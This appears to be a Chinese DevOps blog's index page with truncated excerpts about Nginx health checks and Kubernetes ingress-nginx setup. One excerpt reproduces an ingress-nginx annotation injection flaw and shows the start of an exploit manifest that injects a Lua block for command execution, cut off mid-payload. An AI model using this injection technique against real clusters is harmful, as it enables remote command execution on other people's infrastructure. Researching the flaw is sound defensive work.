Myluzh Blog

Strive to become a dream architect.

Nginx健康检查(被动检查、主动检查)

2023-12-15 myluzh Nginx

0x01 被动检查 通过自带健康检查模块ngx_http_upstream_module实现,当收到访问时才对后端发起探测,请求根据转发规则首次可能落到不可用节点,如多个节点故障则可能出现转发多台后才将请求转到正常的服务,在高并发的时候影响转发效率。 被动健康检查关键参数max_fails与fail_timeout,描述如下: max_fails:在配置的fail_timeout期间,最大的连接错误数,默认配置为1,如配置为0则表示不启用探测,不管后端服务是否异常仍然会转发,单位次数 fail_timeout:服务被认为不可用的的时间,单位为s 如下配置:在120s内中如果有15次连接失败,则表示该节点不可用,将该节点下线120s后才会再次探测 root@iZbp12bkuvg20e1j3y9gtvZ:/etc/nginx/conf.d# cat prd-all.conf upstream prd-nginx-server { server 172.30.82.213:80 max_fails=5 fail_timeout=120s; server 172.30.172.135:80 m...

阅读全文>>

标签: nginx 健康检查 主动检查 被动检查

评论(0) (168)

K8S Ingress-nginx实现金丝雀灰度发布

2023-11-20 myluzh Kubernetes

0x00 Ingress金丝雀发布介绍 Nginx Annotations 支持以下 4 种 Canary 规则: (1)nginx.ingress.kubernetes.io/canary-by-header: 基于 Request Header 的流量切分,适用于灰度发布以及 A/B 测试。当 Request Header 设置为 always时,请求将会被一直发送到 Canary 版本;当 Request Header 设置为 never时,请求不会被发送到 Canary 入口;对于任何其他 Header 值,将忽略 Header,并通过优先级将请求与其他金丝雀规则进行优先级的比较。 (2)nginx.ingress.kubernetes.io/canary-by-header-value: 要匹配的 Request Header 的值,用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务。当 Request Header 设置为此值时,它将被路由到 Canary 入口。该规则允许用户自定义 Request Header 的值,必须与上一个 annotation (即:canar...

阅读全文>>

标签: k8s nginx Ingress 金丝雀 灰度发布

评论(0) (187)

K8S Ingress-nginx高级用法总结

2023-11-20 myluzh Kubernetes

0x01 Ingress-nginx的域名重定向(Redirect) # 关键配置 #annotations: # nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com/' --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: annotations: nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com' name: ingress-xfsh namespace:xfsh spec: rules: - host: ingress.xfsh.com http: paths: - backend: serviceName: ingress-xfsh servicePort: 80 path: / ...

阅读全文>>

标签: k8s kubernetes nginx Ingress

评论(0) (181)

关于K8S nginx-ingress组件任意写入配置进行命令执行漏洞的复现与研究

2023-11-16 myluzh Kubernetes

0x01 开头 这里的ingress一定要是nginx,进行复现的环境k8s版本是1.25,ingress里面参数nginx.ingress.kubernetes.io/rewrite-target,可以任意插入,就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...

阅读全文>>

标签: k8s nginx Ingress exp

评论(0) (217)

K8S笔记-Ingress

2023-9-21 myluzh Kubernetes

0x01 Ingress概述 NodePort方式的缺点:之前通过Service里面的NodePort方式把端口号对外暴露,通过IP+端口进行访问,缺点是在每个节点上都会起端口,在访问任何节点+暴露端口号就行实现访问,意味着每个端口只能使用一次,一个端口对应一个服务。实际环境都是使用域名,通过不同的域名跳转到不同的服务端口中。所以这边引入了Ingress。Ingress有很多种,这边使用的是Ingress nginx。 Ingress跟pod关系:pod跟ingress通过service进行关联,ingress作为统一入口,由service关联一组pod。 Ingress工作流程: 0x02 部署ingress controller 1、我选择把ingress controller只部署在了master节点,看个人喜好。也可以通过守护进程方式部署。 2、由于我的matser打了污点,不允许pod进行调度到这个节点,所以在yaml文件里面进行了污点容忍。 [root@master ingress]# cat ingress-controller.yaml apiVersion...

阅读全文>>

标签: k8s nginx Ingress

评论(0) (158)

解决Nginx反向代理ESXi后,ESXi控制台显示“无法连接”(开启Nginx对于WebSocket的支持)

2023-6-25 myluzh Nginx

0x01 故障描述 Nginx反向代理ESXi后,通过Web访问虚拟机控制台,显示无法连接。F12查看提示WebSocket connection to 'wss://xxxxxxx' failed。 0x02 解决方案 在反向配置中Nginx Location下添加如下代码: proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; 这个的功能是开启nginx对于websocket的支持,esxi后台虚拟机控制台的图形化窗口就是通过websocket通信的,如果nginx不支持websocket,会导致无 法使用esxi的控制台功能。 0x03 完整反向代理代码 [root@nginx conf.d]# cat esxi_172.16.10.11.conf server { listen 8011 ssl; server_name esxi.itho.cn 127.0.0.1 localhost; ssl_certificate /e...

阅读全文>>

标签: esxi nginx 反向代理

评论(0) (360)